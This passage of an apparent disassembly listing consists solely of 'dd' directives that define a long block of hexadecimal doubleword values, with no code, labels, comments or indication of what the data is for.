		dd 36886E66h, 0BD1590A4h, 78F1E705h, 0A4906019h, 0E2573A1h
		dd 1A969A71h, 0E61689A0h, 14B29501h, 85A08658h,	0BCA072FCh
		dd 7DB2B09Ch, 0F6C5127Dh, 79C0DC6Fh, 26AE3009h,	0C14CC41h
		dd 6825C2B3h, 181D813Ch, 28E66EF1h, 0A5A8EF0Fh,	0F80A287h
		dd 0F8A92D60h, 7BB6009Eh, 0A311D1AFh, 4416531Dh, 2DB1029Bh
		dd 0A0D6AE00h, 0FC6700FDh, 0E994F051h, 509246Dh, 2021B671h
		dd 0E886FBCh, 0CED809CCh, 8C38BFAh, 0B51DF0A8h,	47D94E1Ch
		dd 37164300h, 0B03923Eh, 866EE278h, 8741F000h, 0A600B5C1h
		dd 750D4A73h, 909331ECh, 5FAF0018h, 0F836355Eh,	0EF24E232h
		dd 0C800E672h, 28239512h, 0AC3B28B5h, 0C240082h, 891F1391h
		dd 0E40075FCh, 0C4D4D2CDh, 0B5E3549h, 58EADF96h, 17252423h
		dd 0F0FC808Ch, 0AF00FA7Dh, 0F87DB2Ch, 0E61A85h,	0F20340D2h
		dd 7C28BEC8h, 7D3EFE00h, 0EC3231A0h, 9ACF1B79h,	0FCE8E8B1h
		dd 6F01C44Ch, 0C6888574h, 0E2E0E45Bh, 9BE33FCBh, 0D3BCD783h
		dd 5888483Bh, 9E09EB66h, 0A3B89F20h, 0B0EA6F40h, 92BD022Bh
		dd 45330500h, 0E9CEEBh,	8A0B0F8Ah, 90002CC1h, 79990EFDh
		dd 107A1Bh, 0B7A3FF1Ah,	9D22AE54h, 630547E2h, 74ED6BC7h
		dd 0CBD94280h, 0A9EF0017h, 95624677h, 0E7079901h, 0CC78099Ah
		dd 0D70C94A1h, 7BA084F8h, 9C7F00E0h, 8DF3DA50h,	7A5FB01Fh
		dd 0B3B76401h, 0CC4192C6h, 0AC230C40h, 1B77017Bh, 8A8F9DADh
		dd 1463CC1Ah, 0C8248918h, 0B23C1D1h, 70BBBC62h,	326A3060h
		dd 0BC6BE328h, 6C00C0B0h, 0D7CFB282h, 2D4FC4h, 5170426Fh
		dd 52CD6DBh, 0B023EE2Eh, 83901908h, 0B7CEC4E1h,	377D9180h
		dd 0C3812600h, 0DEDFA4F4h, 1594A036h, 1AB3007Bh, 14892F08h
		dd 0FB65C40Bh, 8CC3140h, 0E51C128Dh, 1ABEB074h,	0DD0A2A00h
		dd 45CBD2FBh, 0E27FA0Bh, 0BABFD880h, 682FD0B8h,	0C9E8ED00h
		dd 75E4F226h, 4357120Eh, 12D1280h, 282A3CE8h, 5390205Ah
		dd 0D803BCF4h, 0AB26CAE1h, 4F5C8856h, 2080FBE5h, 0F31CD4C2h
		dd 47604C4Ah, 67ACEAC8h, 0DD361F21h, 5356003Fh,	0F3685A12h
		dd 3F0B000h, 717A7FB4h,	28440015h, 1FEC97D3h, 4900FC4Eh
		dd 6F3A6488h, 67CF0Dh, 16281A5Ah, 0E6798361h, 21764Ch
		dd 4194AFC3h, 0F38FA5h,	0A82BD7A7h, 6F171272h, 0F9924D14h
		dd 0AE490094h, 47ADDBD1h, 0F58F006Eh, 54EC1B84h, 7700C575h
		dd 576671DFh, 0B73391Ah, 0FC019841h, 0B261E000h, 0C7035907h
		dd 2EBA273Dh, 0F217D0ABh
		dd 0FC82F2D8h, 0DC00616h, 0B8151198h, 8B426B1Eh, 8C5C2B0Ah
		dd 17827507h, 4C485BB0h, 107B0Ch, 5451B350h, 6A03C6Dh
		dd 4D39238h, 37529830h,	0A3CE14D0h, 0C34824ADh,	0B543D610h
		dd 9CA990C1h, 0DBD85046h, 0DF30AC57h, 0C3C9104Dh, 5BC400B4h
		dd 0EA9A5152h, 402450C6h, 0FC40FCD6h, 74332F9Dh, 49FE7909h
		dd 0D4398C60h, 0B95B2801h, 0EF4C4D22h, 0F5EDE4B8h, 4AE66100h
		dd 0DD809B9Eh, 5D4901C8h, 403C04CDh, 4B55CC38h,	240C6D58h
		dd 0C26A044h, 172600BBh, 5B14AE39h, 584D17DDh, 70880002h
		dd 9833E87Dh, 91606100h, 0A7D6A14Fh, 2D0A0F11h,	4C802C6Eh
		dd 0B20B7016h, 0A2E42600h, 84CD7FEEh, 0CC38C0F6h, 6997B706h
		dd 378C3C00h, 13727408h, 28267D5Fh, 9CE6DAh, 0CEC9A651h
		dd 5768DFB5h, 139C3F0Eh, 9EAD60EBh, 0F6089Fh, 0E123FF40h
		dd 0F4A1F94Bh, 193F501h, 61BA8CA9h, 0C25FBA40h,	89A22469h
		dd 3ED0007Fh, 68EFCF82h, 0B4980E30h, 0FBAC25h, 600995A9h
		dd 0DE8AA49Ch, 899E200h, 8F4F8075h, 305A5AEFh, 7B0735C0h
		dd 2557AA02h, 40DCD945h, 2C4EEB08h, 80B0C666h, 0C1D0DB94h
		dd 453ABAF2h, 9B7C808Dh, 0D6C71B0Fh, 0F5E500DEh, 0A3501020h
		dd 0A5054C82h, 5F1DB266h, 76FCC1C0h, 35640097h,	3429AF0Eh
		dd 5AE05C0Bh, 7043AC00h, 211E6112h, 6B18C1DCh, 0D88B8AE6h
		dd 6F1DFE9Bh, 4900F685h, 0E73B8221h, 2A425C52h,	3CA5A300h
		dd 0F8B9FD9Ch, 0BBC7F200h, 0A6DEAD75h, 3B28006Ah, 0F573C18Fh
		dd 0A900E574h, 5D84357Ch, 22525Eh, 0F168E36Dh, 0E9303CA4h
		dd 0B5E59F00h, 5017CC0Ch, 0F401004Ah, 813A83FFh, 37000FD8h
		dd 5B544E4Ch, 0D5F918h,	61DD1E1Bh, 6FE27C8Ch, 0C0AB8700h
		dd 295121CCh, 0B0A40044h, 0E48F48DFh, 7E0043EAh, 0ED2EDC27h
		dd 195FC0Ch, 13228464h,	205BD3A0h, 40031AF4h, 0CA9F93E0h
		dd 591FC147h, 0E2D279D4h, 4E550322h, 584BFFD5h,	0BEEF82A8h
		dd 14B94107h, 770678Bh,	0A14234h, 0F6AFF393h, 313C4AC6h
		dd 0E38EB800h, 2A6F6405h, 0C9B90367h, 0FE8D3BDAh, 0CAD9F6C0h
		dd 3908330Bh, 973C8090h, 2637D5C3h, 0F7DEB1h, 9CE76C09h
		dd 0FC006B0Ah, 67B4137Ah, 874285h, 6D60AF25h, 8EB9339Eh
		dd 0D891110Fh, 809FAFE9h, 4B859DA3h, 78EE009Ch,	260FCAB9h
		dd 7400332Ah, 79C7537Bh, 7A54FF50h, 0B7FD0038h,	71D602BAh
		dd 0D00C771Ah, 29879DCDh, 5E6D14D9h, 0E800F858h, 2EDFD5A2h
		dd 15036E30h, 6B270523h, 99F3C0F1h, 0BD4B0326h,	0F89A779Fh
		dd 76C27193h, 9C39C7C0h, 2B921200h, 916AD4AFh, 7C9CF5h
		dd 99A021BCh, 13003A49h, 0E763545Bh, 0B2CF189h,	0E93782F2h
		dd 90666885h, 0B77CB600h, 850D7700h, 0A653E20Eh, 0DBD400C7h
		dd 255D5C6Dh, 0E4770C8Fh, 0CAB1BD0Bh, 12E021D6h, 71E409B0h
		dd 96A502B2h, 0F340DCFBh, 0DFAA615Dh, 0FEE77C70h, 0E8A90172h
		dd 5A391560h, 0CF1889C8h, 0A80043C9h, 1D8AFC11h, 1D943F14h
		dd 0DD861E0Eh, 1521F08Ch, 0F7036AEEh, 0F6B144A3h, 55C5A0BBh
		dd 5CCC0FD9h, 0CE85A22Bh, 62280032h, 37DC6141h,	9A382454h
		dd 690028A3h, 4DF878FFh, 0B3720Ch, 419331E9h, 4361DC79h
		dd 0D12A447Dh, 7B1B90E4h, 0C0487124h, 596BF2h, 11F596B1h
		dd 2F4ACF50h, 0B7101618h, 0D3C390h, 0A0272EB5h,	0D81DAFA5h
		dd 6468A619h, 7DF1C6E2h, 0DC1A20h, 0A28FBF89h, 0AA65E585h
		dd 0A928F300h, 608299CAh, 964500FEh, 387FE75Eh,	1D74417Dh
		dd 720114F8h, 512670AAh, 0B0ED834Ch, 71E0D2F0h,	7BBB00EEh
		dd 0B8C05F74h, 0B91D971Eh, 3794E2Fh, 83640C35h,	8440F590h
		dd 0D7AEFE76h, 1D199892h, 7FE557CBh, 0FF4FE9E0h, 8500C426h
		dd 4AF095Eh, 6FDDE30h, 7A3937AAh, 1A002817h, 2B1CE946h
		dd 1D646F01h, 0BA52AA24h, 8D3D1700h, 4160A9E1h,	0F74D341Ch
		dd 826B394Bh, 40C60D8Bh, 8638F7h, 4EAE18A7h, 3FB7D6C9h
		dd 0AF88A01Eh, 7207DF16h, 3EE34248h, 0ABE9C2BDh, 0AFE100C8h
		dd 3C9B8ACh, 0E7881BB2h, 0B49835DCh, 44000E08h,	0AA96FFEDh
		dd 0E554BDh, 93C8E9B1h,	92A30C1Ah, 0F15DA50Ah, 0DF8C8472h
		dd 0C259E0h, 0EC42F5C5h, 33A80D3Ah, 0FF0C0B1Eh,	0DC89129Dh
		dd 0D618C058h, 1C6E090Fh, 0A08160CEh, 0CCFF9406h, 0ED00A1CCh
		dd 70487B31h, 181B413Eh, 391EE0FEh, 0C6B0905Ch,	24E41100h
		dd 6BC2148h, 0E9C50027h, 3554561Dh, 40137C81h, 4800A9FDh
		dd 7092BF5h, 954501EFh,	3791384Bh, 673AD06Eh, 0F1F0BC00h
		dd 6222ACF8h, 9F91C29h,	0E00D0951h, 12698D80h, 2507462Fh
		dd 559518EFh, 0A85A8670h, 5B6100EEh, 1C1732E6h,	6F073FC7h
		dd 501D1F43h, 84ED9A40h, 3DC30093h, 3260FB63h, 281CE055h
		dd 0B0807A0Dh, 0BC33570Fh, 2736001Fh, 5A351CC7h, 0F898E9E4h
		dd 718D7A1Eh, 0F3CF09C0h, 0F0F73176h, 4B1D00D9h, 817D2397h
		dd 0BB0B166Dh, 7993BCFh, 6160F9D6h, 1FCADCD6h, 85EA6776h
		dd 684452h, 993AE390h, 29C4472Ah, 7F4FD1DAh, 0EB105728h
		dd 4441DE84h, 6C44D3FEh, 0DE8F44FBh, 4A53C044h,	5C0C3CA2h
		dd 84B32907h, 42524D22h, 0E5657CA6h, 1404B7A1h,	0AA483E33h
		dd 21D12443h, 0BD087B51h, 0D84E8859h, 8940AC1Eh, 77430D20h
		dd 0A202035Eh, 8864E0D7h, 0ED3113F0h, 0EEBE1801h, 6E78232Bh
		dd 1AE02F0h, 835770E4h,	0FC294AC4h, 4D008D12h, 565414BDh
		dd 1310CFBh, 59B01027h,	607CD6A3h, 9173B883h, 80728C3Eh
		dd 0A271493Ch, 1FA83AEh, 0FD243EB2h, 0FC742934h, 170188AAh
		dd 8790A99h, 77DC311Ah,	4112005Bh, 91AE3416h, 5000E0A3h
		dd 0B370EE57h, 2E882h, 76E13685h, 49E6EFB7h, 0D5135E01h
		dd 931A9BCBh, 7D8ED8h, 537CB531h, 0BAA77591h, 2EB839h
		dd 4F835FC3h, 78ACA156h, 10FCEDh, 0ABA82D4Ch, 0FA459AFDh
		dd 0E25D69C3h, 0C9769085h, 0FB9300F9h, 78967DC6h, 84000832h
		dd 950F3A1Bh, 1E73E890h, 83823B04h, 3F1EFF34h, 0DC4F05D9h
		dd 87775FDFh, 40002CECh, 0FC7CA7D8h, 0FEF51C93h, 57840E3Ah
		dd 6DE0924Ch, 0B81DF98Ah, 0FA0CB0A0h, 0AC321E00h, 0C97F427Dh
		dd 0C87E00F2h, 0F186D3D9h, 0A50072A2h, 0D5ED41F7h, 305D3F9Eh
		dd 9618E4D6h, 80071F8h,	37FB0A3Ch, 0C00EB717h, 5AE11050h
		dd 8226521Ah, 3400A043h, 65ABBA0Fh, 0F0783017h,	0B4546940h
		dd 5B37A000h, 8A83108Fh, 3A0B00ACh, 0EC8D1496h,	0F90F8832h
		dd 41B3C8F8h, 0BF2CBBEAh, 0EE52ECCh, 0BCC61B54h, 173F2041h
		dd 777AE8E9h, 0E21FFA00h, 445D22AEh, 7BE603DFh,	0B79D585h
		dd 0B3FC0DB8h, 0FB4D8F00h, 52736155h, 203B00CEh, 0F75D8235h
		dd 0AF0EEAF2h, 0C09CBF65h, 9081D442h, 0E18500BAh, 0DD186403h
		dd 0F70006A5h, 30D953BFh, 1F14E01Ch, 6DFFB2h, 50C116F0h
		dd 66006809h, 61B0595Dh, 0E0E363ACh, 779E002Ah,	0CC29391Dh
		dd 4B0076AEh, 0A6170BCFh, 457B4Fh, 3363F3B8h, 7734392Fh
		dd 0CB481500h, 0F858B1BEh, 0D13C1D89h, 2A480F0h, 9BBD3641h
		dd 837CEC07h, 19A09FCBh, 0E13AE8h, 0CA0D2742h, 535EC6F2h
		dd 9B696F00h, 260983ADh, 0E13B01C8h, 427FAC2h, 22F0CC1Fh
		dd 0CB38C301h, 44597151h, 4F47560h, 0B36F8E5Fh,	81AAC009h
		dd 0D600C686h, 3B2074CAh, 5F6A5Ch, 6876C504h, 0F608C95Bh
		dd 6E4C9300h, 0F82A748Bh, 91400034h, 0A4849A7Fh, 6A03459Fh
		dd 0E788AD1h, 0D5A5E8BBh, 314E439h, 3709C341h, 0ECA8B68Ch
		dd 0FE3CC848h, 0CF780747h
		dd 0F0BC9BD8h, 96700F0h, 0DE101728h, 0DF038A14h, 0E71D70A9h
		dd 5A49C0BCh, 0B307004Ah, 0C33272BFh, 9800AAC1h, 0BB5FE939h
		dd 43AD6DCh, 9B568A70h,	34C08054h, 0CB1EEA92h, 0B81DB3A5h
		dd 0F4AF4640h, 5C456469h, 9B001B03h, 90D03A62h,	9C008C96h
		dd 2858E50Eh, 7E8544h, 6C8E7AEEh, 0C5B315C4h, 90347C00h
		dd 93A2A008h, 0CFE105E5h, 0D70BB66Ah, 262E52C4h, 85399840h
		dd 81892F00h, 0A8D0ACF7h, 0B18E0056h, 3C96EE01h, 8D02920Bh
		dd 0F2E036D5h, 0B08466C3h, 0ACE700B4h, 89D3AECEh, 280F12B1h
		dd 60974387h, 5C077E6h,	0A7BC031Fh, 0AA27DF78h,	4055F4F0h
		dd 47416109h, 5D6880DDh, 0A618C3h, 34AB8504h, 0E1FACD46h
		dd 5C3D0107h, 24434511h, 8D74B071h, 14151826h, 2A5B81Ch
		dd 8068A738h, 0D0A42F7Fh, 7132F086h, 0D3380CDFh, 0FCDC2D66h
		dd 3D553Ch, 0CDB34364h,	7E1A2AC2h, 588C00ECh, 2516D56Bh
		dd 97099CD4h, 81187FB6h, 2DEE7DD2h, 0FCC75ADCh,	7CFEE7h
		dd 0B6BF2F86h, 1FB93473h, 6C6E3000h, 352CB5C3h,	0DE2D0043h
		dd 0D17B7F9Ah, 3A00F805h, 0BF911D75h, 71AC2C6h,	5D57AB06h
		dd 630C40C1h, 709D887h,	204FCE4Bh, 45DB68CCh, 0D37CB7h
		dd 982A23C7h, 0C8C9F005h, 0A528707h, 2470561Eh,	48F6C0h
		dd 82230EADh, 8FCEEE5Eh, 0D94D9700h, 3821DD9Dh,	0DB410018h
		dd 472FD26h, 0A7001E8Bh, 84BBB9C7h, 75913C1h, 0C0F305F7h
		dd 33D8A28Fh, 72E0460h,	1DC1ED12h, 0AB0D7600h, 0E4FD3DDDh
		dd 33690001h, 8A22DA75h, 3A006D5Ah, 0CD993EA8h,	923E035h
		dd 8BF35B6Ah, 0DB76E400h, 5F022679h, 0F8D8587Ch, 0CD6CC86Dh
		dd 0F28084E8h, 400F1AA9h, 60291EB4h, 34FC270h, 0E330085h
		dd 0E844E739h, 7D00870Bh, 13CEC14Eh, 613B41h, 4B54E6C4h
		dd 1B850A67h, 6EF1B200h, 1E9A3F0Dh, 0BB0C00B0h,	5786A7CCh
		dd 0DA187E54h, 0F2181D31h, 0F3E708Bh, 437D802Ch, 53A3B542h
		dd 0DA58C840h, 9EF45DEEh, 99A66A00h, 0FF7A9F3Fh, 0E385006Fh
		dd 4D5A2386h, 8E0034C3h, 0DDF6928Ah, 1627932Dh,	305DE3B7h
		dd 54A2EA40h, 2802B5E2h, 5E86311Dh, 0CE1460AFh,	600B0224h
		dd 0D41B3F33h, 4671FF60h, 946A9F00h, 0B9B120E7h, 57D078Bh
		dd 60C15724h, 12506B06h, 0D5DE1509h, 2CEB7E8Dh,	0A2DD0025h
		dd 0E090210h, 37807D02h, 0C1698257h, 3460757Bh,	20F401E4h
		dd 0FDB3B039h, 7813D4D9h, 0EFF6FF00h, 197DCB35h, 69E10095h
		dd 0EAC39159h, 180083DEh, 0B9CF1465h, 9BB62Fh, 59E1BA92h
		dd 0BC9D7875h, 0ED5C350Eh, 0E2CFC24Dh, 1EFC8063h, 0EC256A1Bh
		dd 0C8DD01A4h, 771A9210h, 14E2F47Bh, 0BA6D1903h, 1C4FA12Bh
		dd 0F8B4140h, 80BDF409h, 0C2F379B3h, 6D1323C8h,	0A11FF0F1h
		dd 5BA7007Ah, 0ED999447h, 7ED100ACh, 0DCEB41FFh, 7600C236h
		dd 93D8CE74h, 0FBC339Eh, 18BEB247h, 1C69B0Ah, 3FE7B1FEh
		dd 0F891F532h, 0DB3C9064h, 765C84B7h, 0C480FDDCh, 0EDD5D3h
		dd 11715439h, 0B3C0C7EBh, 44BD5618h, 658268h, 33C99473h
		dd 0F7496447h, 68138900h, 0A27074Ch, 0C2A7002Ah, 0E2D5A344h
		dd 3A48FAC1h, 0B1107EC4h, 89007359h, 42E310FBh,	0F6002F76h
		dd 0B24D11BDh, 2ECC32A8h, 0CCFBAh, 0DA5CC02Eh, 9F07D1F5h
		dd 0EFA6804Fh, 0D831F3F1h, 0D3F0AC40h, 6B30028h, 0E04C8356h
		dd 6C20BF7Fh, 0B252074Dh, 703FD8B7h, 7C5DECB1h,	61160100h
		dd 7099A51Fh, 7B270EE4h, 0B200911Bh, 0FB192353h, 0AF3EDE00h
		dd 0C594610h, 0F4BB0F5Eh, 0C7BD3661h, 0B0FFA424h, 0D35C20AAh
		dd 258EFE0Bh, 715800D1h, 50FC9B35h, 1E4A617h, 6C033132h
		dd 0E03A11F3h, 0B702DA2Eh, 8BF5CFC0h, 7BB880F9h, 58A5BBh
		dd 2DC959B3h, 8C6B798Fh, 8BECA000h, 2B0F4F6Dh, 4B3700CEh
		dd 2FBC2E9Fh, 52006ABAh, 70EF5FA2h, 1287882h, 398DFCEDh
		dd 73FA38Ah, 0AC7742F0h, 9D750704h, 2EDBA05Dh, 0C458E0E0h
		dd 7F004A3Bh, 728E8957h, 187EF351h, 108A612Fh, 0BD0023C1h
		dd 30B025D0h, 583BB2h, 4265AE19h, 0DBCE76CFh, 0B178E148h
		dd 4000DEDAh, 0AA008186h, 0A9D0C70Ah, 465F50h, 0D6C7213h
		dd 37AB8BBBh, 63414D00h, 0B69C5795h, 233E005Dh,	0A7BE8043h
		dd 850047BAh, 0FFCFEEC5h, 0EE4D93Ah, 0E33DE1B7h, 4BF356E0h
		dd 5898467Bh, 4A61140Eh, 6413A0EAh, 4C252B58h, 0C5243208h
		dd 0A960044h, 0B89F827Ah, 1475772Eh, 3D46EE00h,	623B48h
		dd 0ECD690DDh, 532666C3h, 0B05B2507h, 22008C0h,	0DDE5B3h
		dd 297D837Bh, 0C4B7FBFEh, 0E8B6F60Eh, 1378A0F9h, 0B831E993h
		dd 0BF291E90h, 3CAA870Ah, 0FFAE10DEh, 0FAB8DBE5h, 0D277F00h
		dd 449946D6h, 9631FCA4h, 40307A4h, 1EA22260h, 0D449AC68h
		dd 3DB21701h, 0F75E3B6h, 40DA6871h, 3B844DEh, 0C2729FF5h
		dd 0C1D27989h, 204BD0C2h, 0E84477C1h, 15009928h, 0F82B5766h
		dd 0C9CFE3CEh, 0F000F220h, 6C019AAFh, 97323801h, 1CEA4073h
		dd 8415020h, 0FBC422CEh, 0F52D0B00h, 3578C21h, 0E99E14D9h
		dd 5D905FE6h, 5A073D84h, 0C29DBB7Fh, 66C06F34h,	0EB8ABFh
		dd 1F2F7461h, 0D94FD202h, 9D8CFC01h, 0CD39809h,	26EF5020h
		dd 0A60842F9h, 0ADBA807Ch, 0BF720545h, 0B4898CA8h, 0F9A6D600h
		dd 809E2BA1h, 45CC0FD4h, 0D3F3C0h, 0EB18F10h, 30FF6847h
		dd 991F8E20h, 5CADBB14h, 32165Eh, 29E5CEB8h, 3A78E9B1h
		dd 0C73B7A12h, 7030E4C0h, 0D0A5008Fh, 0A44CDCE8h, 6700994Fh
		dd 0B4217B28h, 392219B1h, 0C092D2F4h, 86780077h, 0E9835840h
		dd 0AE5C700h, 67CD789Eh, 0C18700ACh, 514EBFADh,	205803CCh
		dd 957F00BFh, 75CDBD35h, 604D0004h, 0AD6E848Fh,	3200EBAEh
		dd 9DB63AE4h, 80F0C0h, 9C933754h, 3B2298DFh, 29C74D02h
		dd 608CEDD6h, 1DD88Ch, 7F0F1BFBh, 0C21A3767h, 79BE3E02h
		dd 0D7BF9F5Ch, 1C5FBFC0h, 196B5700h, 0ABD46F9Eh, 0B5883ED1h
		dd 172A8B00h, 0AC4D3CBEh, 0BC1B2909h, 719885C6h, 0B7AAC4C0h
		dd 7860C58Fh, 3181C766h, 28904448h, 0F82C0068h,	0F4AE327Bh
		dd 945E0E8Ch, 2002C475h, 90804C22h, 6C6D3E84h, 0C071000h
		dd 0CEA421EEh, 0A3140050h, 0DC670F9Ah, 0D1C042AEh, 8D31D4E1h
		dd 0F7D4A0E3h, 973155Eh, 1603D032h, 1AC396A5h, 294D53E7h
		dd 8BE7AFD0h, 3C728D00h, 0E16BB550h, 0CEF00042h, 0B9C03634h
		dd 91074E5Dh, 69D43820h, 0E0D526h, 0CD290CEFh, 0B66E481Ah
		dd 0C3C6BF26h, 21374D00h, 3DEDF5h, 22DCFF0Dh, 0A48938FBh
		dd 0D979BD1Dh, 42370C40h, 1F0F39h, 9F5A073Fh, 0C2C51287h
		dd 56583000h, 0E6A2E41h, 0BEEE004Ch, 629F2D52h,	300E4B6Eh
		dd 20E3B2C2h, 6FD09E61h, 0DF4026Ah, 0DA83148Dh,	39DFF340h
		dd 0EB84BE00h, 0CD34234Dh, 1DD900DEh, 7E79FB21h, 81DC54Fh
		dd 0A1C12E54h, 0DCF9E5D7h, 326CC0DEh, 0D19000FBh, 0B6F71728h
		dd 7F0079E6h, 6D5EA1FEh, 0AAC838h, 10263196h, 8A69ED29h
		dd 650049FAh, 25D6321Bh, 441B37Ch, 60D4AFEAh, 0CC4280ADh
		dd 1C003C2Eh, 0DD366258h, 0E2ECA24Ah, 0EDD91E91h, 45AE00D0h
		dd 0C970B1A5h, 0F3618D12h, 0CD6F9500h, 774411CEh, 699E00EBh
		dd 45BDD55Eh, 30055E5h,	87B92B73h, 1D48D3h, 3CE7098Bh
		dd 954794EAh, 5FEEFE0Ah, 0A2039C4Dh, 0C06D9811h, 0CF3D73A7h
		dd 8C405561h, 6E576A4Eh, 0DEF5BF00h, 2B9D21EDh,	2FF4003Ch
		dd 0A7485AE6h, 363D55FAh, 7E0D8C69h, 0CA209Eh, 5F06ED45h
		dd 0C43E6092h, 817B8300h
		dd 0D6CEC29Ah, 8429C713h, 4BAC90C1h, 8D035D57h,	187254DDh
		dd 7E41D72Dh, 0ECEC56CCh, 634D0146h, 0A6F5E504h, 0D39C4062h
		dd 0C4E43831h, 2453B500h, 6C198CF8h, 0CEF8C02Eh, 768B2212h
		dd 42FD2300h, 850F06EEh, 0CBA00017h, 9537B636h,	1DE420BFh
		dd 0CF7EAA00h, 0C0825630h, 6CA33E09h, 7600FCBCh, 11335F01h
		dd 0B907DFD9h, 6F32A60Ah, 0F4230960h, 89300099h, 3FFD911Eh
		dd 77003AA7h, 0C3C29759h, 536E810h, 58756037h, 4923C0A9h
		dd 0E900DD81h, 8FE3038h, 3959A60Bh, 0E786783Ah,	58377E32h
		dd 30D1DC3Dh, 75852015h, 39E1002Eh, 41B259BAh, 8900AE90h
		dd 0C72765F1h, 5C49Ah, 0B5970ABCh, 11996B55h, 0DA6A6112h
		dd 0B62D2801h, 44C85806h, 0DE26073Ch, 60C61A6Ch, 1C63B00Ah
		dd 0ED892B00h, 0EF867BE8h, 0E61F0052h, 750CB49Bh, 6C288EC3h
		dd 4100C454h, 0F2F815A4h, 2A2FE3h, 0CFB5459Eh, 0A01DBCB2h
		dd 7B10E949h, 0A149940Ah, 1300D8E1h, 65AA8E5Eh,	421F0076h
		dd 0D69E832Dh, 7D00373Fh, 0F2C1E59Dh, 6EC4FBh, 1885E94Ch
		dd 97115127h, 7D46D000h, 40C61CCDh, 789762Ah, 9F7520BEh
		dd 0C190F0ECh, 61005CF6h, 702A8751h, 7215E2h, 339D48E8h
		dd 0CEA81DB1h, 52F4B900h, 2CC40B5Ah, 3B6F885h, 619E2764h
		dd 8FA8AD29h, 0DB00BFD7h, 2EC536DCh, 0AA30F3h, 5DD691CDh
		dd 6A89F99Eh, 5A17A812h, 0C2989C00h, 8C2484h, 0AC4F050Dh
		dd 7764FA46h, 0CB2BA600h, 0AD1FA928h, 8CB800EAh, 90CA9ABDh
		dd 130040F8h, 0A2AC6BEDh, 237106h, 24AE78E5h, 0CB9647F0h
		dd 30AF0F07h, 0E7C060DCh, 1CBD6D55h, 800ED50Ah,	9399090Ch
		dd 4100DF71h, 33393551h, 7F107614h, 88AF3D05h, 4A9E2680h
		dd 0C979314Fh, 0BC03D904h, 2CC11D12h, 0F8C0E3A7h, 0F1C700ACh
		dd 70EBF4DDh, 0E6009F16h, 29D6A635h, 33282B0h, 0BC82895h
		dd 5DA843B9h, 1600DEB5h, 310C9C50h, 98A3CBDCh, 0DB100018h
		dd 0AAA0E173h, 5260553Bh, 5DB61780h, 68E64880h,	3E00284Ch
		dd 0A1978D04h, 0F3001561h, 0E784B70h, 0E699FA7h, 11C67FD8h
		dd 37470580h, 0B025A07Ah, 0AEBFC149h, 0B62007D5h, 9880F179h
		dd 67A83EFFh, 29782B78h, 0C3953CC2h, 0F9FC6070h, 0F1751D8Eh
		dd 88ABC1BEh, 0F42F4397h, 693D0B51h, 1FAE8184h,	0DC5B3AAAh
		dd 2824C3C5h, 7FD018Ch,	76D4DB6Eh, 0E01821EEh, 0F2007533h
		dd 0DC235D56h, 1728F77Eh, 987BC1h, 0E795C0Dh, 0E0FE5874h
		dd 47BB9B06h, 2C50A280h, 3B1C3457h, 92C77A04h, 0BCB0D09Fh
		dd 909279F1h, 30C6E500h, 0E2BA301h, 6F7968h, 0DA591FD0h
		dd 0CB24FACCh, 0A407B528h, 1E74501Ch, 0EABE4240h, 45E60Bh
		dd 767E9577h, 0F6C201DFh, 3978FA00h, 57F42419h,	404202D5h
		dd 0EA7DC6CBh, 63DF6062h, 273F98B2h, 2E9A0F06h,	4EA08B09h
		dd 2120D90h, 2C02A6E2h,	0BC403F52h, 2FB44029h, 781F0336h
		dd 701092CEh, 0C83571C8h, 23F8AE1Dh, 0AC6E3EC0h, 565217h
		dd 0B6122858h, 1A2C43B0h, 4A24F101h, 697426C9h,	0B25DDECh
		dd 8A8D3DA6h, 10D0B406h, 0B2663507h, 1EA0A3B5h,	92B99h
		dd 765E41A0h, 439E3789h, 54B858F6h, 0A5D39800h,	0EBB8600Fh
		dd 8606055Ch, 34C6791h,	0C90E28BCh, 44AAFFC9h, 0F400AF80h
		dd 173D4723h, 811C0084h, 0ED756437h, 8F035504h,	0F26F86D1h
		dd 0D2168923h, 1D2FC3ECh, 513C3Fh, 3724F3DAh, 589080AAh
		dd 9DE6C60Eh, 903241BCh, 0B1E1B7E5h, 3860D0h, 8A86D62h
		dd 0B6F41A73h, 48EDA700h, 5A9414F2h, 3CE80287h,	0C82EA836h
		dd 0EEDF3FC0h, 0D2C29901h, 0E847CAC9h, 0B2DD8C0h, 5FADCC73h
		dd 294114A2h, 0AF2D520h, 1B4700C6h, 0F5A8088Dh,	6275AD94h
		dd 833E6E00h, 9D4F01B3h, 0D04007Ch, 1222282Bh, 0A4906D5Bh
		dd 1A00C576h, 0E470C916h, 1D6A7C9Eh, 780982CDh,	88CA26h
		dd 0F7F3C41Ch, 9C09B70Dh, 200E66BBh, 0DEFA7690h, 0DA1A0064h
		dd 0F0AA9501h, 6F1F4EFDh, 843961B7h, 0E411ADC0h, 321A5890h
		dd 7B3F0029h, 0D1374DBh, 0DE049889h, 0E449240Ah, 0E5EB8080h
		dd 8D5F0092h, 0B86E73F6h, 0C4000C03h, 52400BADh, 338116h
		dd 0F4317D1Dh, 34925F2h, 5ABA6A00h, 0F7577CD1h,	0C7CD2813h
		dd 0C500E93h, 1D0075A5h, 0E32D4F5h, 14B9CC2Eh, 20B4650Eh
		dd 6AD755F0h, 0B7F43F38h, 2F451A80h, 0ED30288Fh, 8006AF13h
		dd 8E380507h, 6537E9C0h, 97460AB6h, 878423DEh, 1A89911h
		dd 608FFBC9h, 44F82690h, 0CD58B200h, 4749A9A4h,	93570084h
		dd 6CD7A299h, 4A003003h, 4264E477h, 443AEh, 12DBC976h
		dd 0DEDAB855h, 0FD14C575h, 0A513F1h, 0BF8AE3C8h, 25455Ah
		dd 297B2D17h, 0ABA98052h, 0C03C6605h, 0E0C8F7FEh, 0F99C03CFh
		dd 19136C93h, 0D4A37000h, 505D5191h, 7B200377h,	8A9F3F5Fh
		dd 8D2759E0h, 0B8930E00h, 8938BA57h, 4CD11F0Fh,	992B893Ah
		dd 0D60984A0h, 0D4B8C422h, 0A7296B01h, 0B08C575Fh, 0E26D02D4h
		dd 67DB05B5h, 0C0CBAA1Eh, 82330EE8h, 2162C400h,	0E75CAD84h
		dd 3F9E3935h, 18DE9182h, 8C6831F2h, 0F07F2DA9h,	61D16500h
		dd 2E3A2239h, 5FCC0015h, 7C64AD45h, 0BCAB6FD2h,	17B02683h
		dd 760055E4h, 0A0BF7739h, 16343807h, 13EC2DFEh,	66AC00C4h
		dd 3C1F1DD4h, 0D22CF41Ch, 3258A540h, 6EB882h, 3006EB2Dh
		dd 1C8BF88Ah, 0C2438700h, 93B4E95Fh, 258475E6h,	0C800DB25h
